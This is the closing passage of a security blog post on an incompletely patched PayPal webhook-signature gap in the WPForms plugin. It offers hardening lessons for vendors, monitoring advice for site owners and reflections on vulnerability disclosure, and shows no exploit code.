&lt;h2 id=&#34;lessons-for-vendors&#34;&gt;lessons for vendors&lt;/h2&gt;
&lt;p&gt;A few things for the receiving side.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Webhook handlers are payment infrastructure. Treat them like it.&lt;/strong&gt; Anything that mutates payment state is at the same security tier as your card processing logic. The fact that the endpoint is &amp;ldquo;just a webhook&amp;rdquo; does not lower the bar. Webhook endpoints are public, they mutate database state, they fire side effects. They are payment infrastructure. They get the same review.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Build a verification helper once, use it everywhere.&lt;/strong&gt; Every payment integration in a plugin should call into a single &lt;code&gt;verify_webhook_signature($provider, $headers, $body)&lt;/code&gt; helper that knows how to verify for each provider. If a new integration ships without a call to that helper, the security review should reject the patch. This is not glamorous work but it is the work.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Document your fallback URLs in the threat model.&lt;/strong&gt; If you have a fallback path for sites that disable the REST API, write down what it does and what it skips. Run the same security checks against the fallback that you run against the primary route. Add a test that proves the fallback rejects invalid signatures.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Beware of filters that elevate trust.&lt;/strong&gt; &lt;code&gt;wpforms_current_user_can&lt;/code&gt; forced to &lt;code&gt;__return_true&lt;/code&gt; is a useful primitive for letting webhooks run without a user context, but anything that lands in that scope is now running with admin trust. Audit every entry point that ends up in that filter scope. Make sure the entry point itself is properly authenticated before you give it free run of the capability system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test the patch by re-running the original PoC.&lt;/strong&gt; I know this sounds obvious. It is not obvious enough. Patches that fix a CSRF interpretation of a webhook bug do not fix the underlying webhook auth gap. Re-run the original PoC against the patched build. If it still works, the patch is incomplete. Ship a new one.&lt;/p&gt;
&lt;h2 id=&#34;final-thoughts&#34;&gt;final thoughts&lt;/h2&gt;
&lt;p&gt;This bug is small. The fix is six lines. The CVSS is 8.1 and Patchstack rated the priority as Low because the exploit needs a transaction ID and a payment in a pending state. That is fair on a generic 1 in 100 site. It is not fair on a high traffic shop that processes pending transactions every minute. Threat models depend on the site.&lt;/p&gt;
&lt;p&gt;What this bug is not small in is what it tells us about the industry. The plugin is in 6 million installs. The asymmetry with Stripe and Square is visible to anyone who reads the source for ten minutes. The bug class is one of the oldest in the webhook world. The number of duplicate reports is the kind of number that should stop traffic. And the patch that shipped under the CVE addressed the symptom and not the cause.&lt;/p&gt;
&lt;p&gt;Same theme as my last post. The old assumptions are not holding. If 11 of us can find the same bug in 6 weeks using totally unrelated tools, and the vendor can ship a patch under a CVE that does not actually fix the root cause, then the public disclosure system is leaving real risk on the table. Not in some hypothetical sense. In the sense that the latest stable release as of this writing still has the underlying gap.&lt;/p&gt;
&lt;p&gt;I will keep nudging the vendor to ship a full fix. In the meantime, if you run a site using WPForms PayPal Commerce, monitor your payments table for unexpected status transitions. Look for &lt;code&gt;processed -&amp;gt; completed&lt;/code&gt; events that did not come with the corresponding &lt;code&gt;Paypal-Transmission-Sig&lt;/code&gt; header in your webhook logs. Look for &lt;code&gt;PAYMENT.CAPTURE.DENIED&lt;/code&gt; events that turned real customers into refunds. If you do not log webhook headers, start now.&lt;/p&gt;
&lt;p&gt;And if you are a security researcher who already found this and never reported it because you assumed someone else would, well. You were right. Ten other people did. Report the next one.&lt;/p&gt;
&lt;p&gt;If you are still reading this, you are awesome. Thanks for sticking with me.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;related posts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://blog.himanshuanand.com/2026/05/the-90-day-disclosure-policy-is-dead/&#34;&gt;the 90 day disclosure policy is dead&lt;/a&gt; (the framing post for this one)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;references:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40764&#34;&gt;CVE-2026-40764&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://patchstack.com/database/wordpress/plugin/wpforms-lite/vulnerability/wordpress-contact-form-by-wpforms-plugin-1-10-0-2-cross-site-request-forgery-csrf-vulnerability&#34;&gt;Patchstack advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wordpress.org/plugins/wpforms-lite/#developers&#34;&gt;WPForms changelog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.paypal.com/api/rest/webhooks/rest/#link-verifywebhooksignature&#34;&gt;PayPal webhook signature verification docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of this resonated, hit me up on Twitter/X (&lt;a href=&#34;https://x.com/anand_himanshu&#34;&gt;https://x.com/anand_himanshu&lt;/a&gt;). If you disagree, especially hit me up.&lt;/p&gt;
&lt;p&gt;Thanks for reading.&lt;/p&gt;
</content>
    </item>
    
  </channel>
</rss>
